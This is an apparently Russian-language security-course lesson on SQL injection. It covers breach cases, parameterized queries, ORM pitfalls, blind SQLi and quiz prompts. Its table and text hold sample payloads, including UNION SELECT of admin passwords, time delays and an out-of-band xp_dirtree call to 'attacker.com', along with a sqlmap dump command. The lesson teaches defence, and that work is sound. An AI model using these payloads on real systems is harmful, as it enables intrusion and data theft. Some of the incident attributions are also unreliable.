Информационная безопасность

SQL Injection

2008 год. Хакер Альберт Гонсалес взламывает Heartland Payment Systems - крупнейший процессор платёжных карт в США. Метод: SQL Injection в веб-форму. Результат: 130 миллионов номеров карт. Приговор: 20 лет тюрьмы. SQL Injection в OWASP Top 10 с 2003 года - двадцать лет на первых строчках. Не потому что сложно защититься. Потому что не защищаются.

  • **Heartland 2008:** 130 млн карт через SQLi в платёжной форме - крупнейшая утечка финансовых данных в истории
  • **Twitch 2021:** через SQLi в поле сортировки утекло 128 ГБ данных, включая выплаты стримерам
  • **Yahoo 2012:** SQLi дал доступ к 450 000 учётных записей через API поиска - опубликовано в открытый доступ

SQL Injection: когда данные становятся командой

2007 год. Хакер Альберт Гонсалес взламывает TJX Companies через SQL Injection. Утекает 45 миллионов номеров кредитных карт. Потери: 256 млн долларов. Техника атаки: одна строка в поле ввода.

**SQL Injection** - атака, при которой пользовательский ввод интерпретируется базой данных как SQL-команда. Разработчик думает, что передаёт данные. База данных видит код. OWASP Top 10 #1 - не случайно: уязвимость живёт в миллионах проектов.

**SQLi не ограничивается логином.** Любое поле, попадающее в SQL-запрос - уязвимо: поиск, фильтры, параметры URL (?id=5), заголовки, cookies. В 2021 году через SQLi в поле сортировки взломали Twitch: утекло 128 ГБ данных.

Тип SQLiМеханизмПример
In-band (Error)Ошибки БД возвращаются пользователю' -- извлечь версию через error message
In-band (Union)UNION SELECT добавляет данные из других таблиц' UNION SELECT username,password FROM admins--
Blind (Boolean)Ответ меняется в зависимости от условия' AND 1=1-- vs ' AND 1=2--
Blind (Time)Задержка ответа как сигнал'; WAITFOR DELAY '0:0:5'--
Out-of-bandДанные через DNS/HTTP-запросы'; exec master..xp_dirtree '//attacker.com/'--

Разработчик фильтрует только одинарные кавычки в username. Какой payload обойдёт защиту?

Параметризованные запросы: единственная надёжная защита

Проблема SQLi - смешение данных и кода в одной строке. Решение: разделить их физически. **Параметризованные запросы** (prepared statements) отправляют SQL-шаблон и данные раздельно. База данных получает два отдельных объекта: запрос и параметры. Данные никогда не интерпретируются как SQL.

**Почему параметризация работает там, где фильтрация не работает?** Потому что механизм защиты не в содержимом данных, а в протоколе передачи. Даже `'; DROP TABLE users;--` приходит в БД как строка "'; DROP TABLE users;--", а не как SQL-команды.

**Хранимые процедуры** - второй метод защиты, но только если внутри них нет динамического SQL. `EXEC sp_executesql @query` с конкатенацией внутри - та же уязвимость. Параметризация важна на каждом уровне.

Код: `query = f"SELECT * FROM products WHERE category='{category}' ORDER BY {sort_field}"`. Параметризован category, но sort_field приходит из URL. Что произойдёт?

ORM и SQLi: когда «безопасность по умолчанию» подводит

ORM (Sequelize, TypeORM, SQLAlchemy, Hibernate) автоматически параметризуют запросы. Это звучит как «SQLi невозможен с ORM». Это неверно. ORM имеют escape-hatches для сложных запросов - и именно там живут уязвимости.

**HackerOne report #1027147 (2021):** SQLi в production Rails-приложении через ActiveRecord `.where("name = '#{params[:name]}'")`. ORM использовался, но с интерполяцией строки. Выплата: 7 500 долларов. Паттерн встречается в каждом втором legacy Rails-проекте.

**Second-order SQLi** - данные сохраняются безопасно (параметризованно), но потом используются в другом запросе без параметризации. Имя пользователя `admin'--` попадает в базу безопасно, но потом используется в `UPDATE users SET role='user' WHERE username='${storedName}'`. Именно поэтому параметризация нужна везде, не только при вводе.

Разработчик использует TypeORM `userRepo.find({ where: { username, role } })`. Где здесь потенциальный риск?

Blind SQL Injection: атака в темноте

Большинство уязвимых систем не показывают SQL-ошибки пользователю. Разработчик думает: «нет ошибки - нет атаки». Это иллюзия. **Blind SQLi** извлекает данные через косвенные сигналы: изменение содержимого ответа или задержку.

**sqlmap** автоматизирует Blind SQLi: `sqlmap -u 'http://target.com/api/user?id=1' --dump`. Инструмент перебирает все типы инъекций, определяет БД, извлекает данные. На уязвимой системе - дамп базы за минуты. Именно поэтому параметризация критична: даже «невидимые» ошибки эксплуатируются.

**WAF (Web Application Firewall)** - Cloudflare, AWS WAF - блокирует известные SQLi-паттерны. Это полезный слой защиты, но не замена параметризации. Через encoding, comment-obfuscation, chunking запросов WAF обходится. Defense in depth: параметризация + WAF + мониторинг аномалий.

Если приложение показывает только общее сообщение об ошибке (не SQL-ошибку) - оно защищено от SQLi

Скрытие ошибок - полезная мера, но не защита. Blind SQLi и Time-based SQLi извлекают данные без видимых ошибок. Единственная надёжная защита - параметризованные запросы

Атака эксплуатирует синтаксис SQL, а не вывод ошибок. Задержка ответа или изменение логики (true/false) - достаточные каналы. sqlmap автоматически проверяет все варианты.

Приложение возвращает одинаковую HTML-страницу и при успехе, и при ошибке. Ответ всегда 200 OK. Возможна ли SQL Injection в таком случае?

Ключевые идеи

  • **SQL Injection** - смешение данных и кода. Любое поле, попадающее в SQL без параметризации, потенциально уязвимо: логин, поиск, фильтры, сортировка, URL-параметры
  • **Параметризованные запросы** - единственная надёжная защита. Данные и шаблон передаются раздельно, БД никогда не интерпретирует данные как SQL
  • **ORM не гарантирует безопасность**: raw(), literal(), query() с конкатенацией - те же уязвимости. Проверять все escape-hatches в кодовой базе
  • **Blind SQLi** работает без видимых ошибок: boolean-сигнал или задержка достаточны для извлечения всей базы. sqlmap автоматизирует это за минуты

Связанные темы

SQL Injection - часть класса атак "Injection" в OWASP Top 10:

  • CSRF, SSRF, CORS — Следующий класс веб-атак - подделка запросов вместо инъекций
  • XSS — XSS - инъекция JavaScript в HTML, тот же паттерн что SQLi в SQL
  • Инструменты пентеста — sqlmap - стандартный инструмент для автоматизации поиска SQLi

Вопросы для размышления

  • Есть ли в текущем проекте raw SQL-запросы с конкатенацией строк? Как найти их быстро (grep, статический анализ)?
  • ORM используется в проекте. Где документация по опасным методам (raw, literal, execute)? Есть ли код-ревью-правило на их использование?
  • Если SQLi найдена в production - каков план действий? Как быстро пропатчить без остановки сервиса?

Связанные уроки

  • sec-03 — AuthN/AuthZ - первый рубеж, SQLi - обход второго
  • sec-08 — CSRF/SSRF - следующий класс веб-атак после SQLi
  • sec-09 — XSS - соседняя атака той же категории (инъекции)
  • sec-29 — Пентест: sqlmap автоматизирует поиск SQLi
  • db-02-relational-model
SQL Injection

0

1

Войти